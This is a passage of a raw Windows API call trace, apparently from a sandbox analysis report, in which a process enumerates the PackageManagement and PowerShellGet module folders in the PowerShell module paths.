lpOldMode=0x5a8e78c) returned 1 [0204.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea3c) returned 1 [0204.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0204.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0204.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5a8e7ec | out: lpFindFileData=0x5a8e7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b2de48 [0204.746] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.746] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0204.746] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.746] FindClose (in: hFindFile=0x5b2de48 | out: hFindFile=0x5b2de48) returned 1 [0204.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7ac) returned 1 [0204.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ea0c) returned 1 [0204.747] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0204.747] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0204.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e790) returned 1 [0204.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea54 | out: lpFileInformation=0x5a8ea54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0204.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e78c) returned 1 [0204.747] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0204.747] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0204.747] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0204.747] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0204.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e7b4) returned 1 [0204.748] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x262c9c0 | out: lpFileInformation=0x262c9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0204.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7b0) returned 1 [0204.748] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0204.748] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0204.748] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0204.748] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0204.749] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0204.749] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0204.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea3c) returned 1 [0204.749] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0204.749] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0204.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x5a8e7ec | out: lpFindFileData=0x5a8e7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b2de48 [0204.749] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.750] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0204.750] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.752] FindClose (in: hFindFile=0x5b2de48 | out: hFindFile=0x5b2de48) returned 1 [0204.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7ac) returned 1 [0204.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ea0c) returned 1 [0204.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0204.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0204.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e790) returned 1 [0204.753] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea54 | out: lpFileInformation=0x5a8ea54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0204.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e78c) returned 1 [0204.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0204.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0204.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0204.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0204.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e7b4) returned 1 [0204.753] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x262df30 | out: lpFileInformation=0x262df30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0204.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7b0) returned 1 [0204.754] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0204.754] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0204.754] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0204.754] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0204.754] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0204.754] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0204.758] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0204.864] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0204.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea3c) returned 1 [0204.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0204.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0204.866] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5a8e7ec | out: lpFindFileData=0x5a8e7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b2de48 [0204.866] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.866] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0204.867] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0204.867] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.867] FindClose (in: hFindFile=0x5b2de48 | out: hFindFile=0x5b2de48) returned 1 [0204.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7ac) returned 1 [0204.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ea0c) returned 1 [0204.867] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0204.867] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0204.867] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0204.867] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0204.868] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0204.868] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0204.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0204.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0204.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0204.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0204.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.869] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea3c) returned 1 [0204.869] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0204.869] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x43, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x42 [0204.869] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5a8e7ec | out: lpFindFileData=0x5a8e7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b2de48 [0204.870] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.870] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49a61de0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49a61de0, 